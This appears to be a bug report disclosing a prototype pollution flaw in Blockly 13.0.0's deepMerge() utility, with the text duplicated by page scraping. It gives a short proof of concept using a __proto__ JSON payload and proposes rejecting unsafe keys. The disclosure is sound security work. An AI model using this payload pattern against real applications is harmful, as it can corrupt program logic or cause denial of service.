Check for duplicates
Description
blockly@13.0.0 appears to be vulnerable to prototype pollution through the public Blockly.utils.object.deepMerge() utility exported from the package root.
When deepMerge() receives a source object containing an own enumerable __proto__ property, it recursively merges into Object.prototype. After that, newly created plain objects in the same JavaScript process inherit attacker-controlled properties.
Observed behavior:
Object.prototype.blocklyPolluted: yes
plain object inherited: yes
Expected behavior:
Object.prototype.blocklyPolluted: undefined
plain object inherited: undefined
Affected version tested:
Root cause:
The public API Blockly.utils.object.deepMerge() does not appear to reject prototype-pollution primitives such as __proto__, constructor, or prototype before recursively merging object keys.
When the source key is __proto__, a normal target object's inherited __proto__ accessor resolves to Object.prototype, and the recursive merge writes attacker-controlled properties there.
Reproduction steps
- Create a clean test project:
rm -rf /tmp/blockly-pp-poc
mkdir /tmp/blockly-pp-poc
cd /tmp/blockly-pp-poc
npm init -y
npm install --ignore-scripts --no-audit --no-fund blockly@13.0.0
- Create
poc.js:
const Blockly = require('blockly');
delete Object.prototype.blocklyPolluted;
console.log('deepMerge:', typeof Blockly?.utils?.object?.deepMerge);
const payload = JSON.parse('{"__proto__":{"blocklyPolluted":"yes"}}');
Blockly.utils.object.deepMerge({}, payload);
console.log('Object.prototype.blocklyPolluted:', Object.prototype.blocklyPolluted);
console.log('plain object inherited:', ({}).blocklyPolluted);
delete Object.prototype.blocklyPolluted;
- Run the proof of concept:
Observed output:
deepMerge: function
Object.prototype.blocklyPolluted: yes
plain object inherited: yes
Priority
Priority:
Work effort:
This should likely be a small hardening fix. The merge implementation should reject unsafe keys before assignment or recursion:
__proto__
constructor
prototype
A defensive helper could be added before recursively descending into source keys.
Impact:
This affects the public Blockly.utils.object.deepMerge() utility. If an application passes user-controlled or partially user-controlled objects into this helper, an attacker may be able to pollute Object.prototype in the JavaScript runtime.
Prototype pollution can affect later logic that relies on plain objects, default option objects, inherited properties, or property-existence checks. Depending on how polluted properties are consumed by the host application, this may lead to unexpected behavior, denial of service, logic bypass, or other application-specific impact.
This is application-dependent because deepMerge() is a utility API, but the affected API is public and reachable from the package root.
Stack trace
Screenshots
No response
Browsers
No response
Check for duplicates
Description
blockly@13.0.0appears to be vulnerable to prototype pollution through the publicBlockly.utils.object.deepMerge()utility exported from the package root.When
deepMerge()receives a source object containing an own enumerable__proto__property, it recursively merges intoObject.prototype. After that, newly created plain objects in the same JavaScript process inherit attacker-controlled properties.Observed behavior:
Expected behavior:
Affected version tested:
Root cause:
The public API
Blockly.utils.object.deepMerge()does not appear to reject prototype-pollution primitives such as__proto__,constructor, orprototypebefore recursively merging object keys.When the source key is
__proto__, a normal target object's inherited__proto__accessor resolves toObject.prototype, and the recursive merge writes attacker-controlled properties there.Reproduction steps
rm -rf /tmp/blockly-pp-poc mkdir /tmp/blockly-pp-poc cd /tmp/blockly-pp-poc npm init -y npm install --ignore-scripts --no-audit --no-fund blockly@13.0.0poc.js:Observed output:
Priority
Priority:
Work effort:
This should likely be a small hardening fix. The merge implementation should reject unsafe keys before assignment or recursion:
__proto__constructorprototypeA defensive helper could be added before recursively descending into source keys.
Impact:
This affects the public
Blockly.utils.object.deepMerge()utility. If an application passes user-controlled or partially user-controlled objects into this helper, an attacker may be able to polluteObject.prototypein the JavaScript runtime.Prototype pollution can affect later logic that relies on plain objects, default option objects, inherited properties, or property-existence checks. Depending on how polluted properties are consumed by the host application, this may lead to unexpected behavior, denial of service, logic bypass, or other application-specific impact.
This is application-dependent because
deepMerge()is a utility API, but the affected API is public and reachable from the package root.Stack trace
Screenshots
No response
Browsers
No response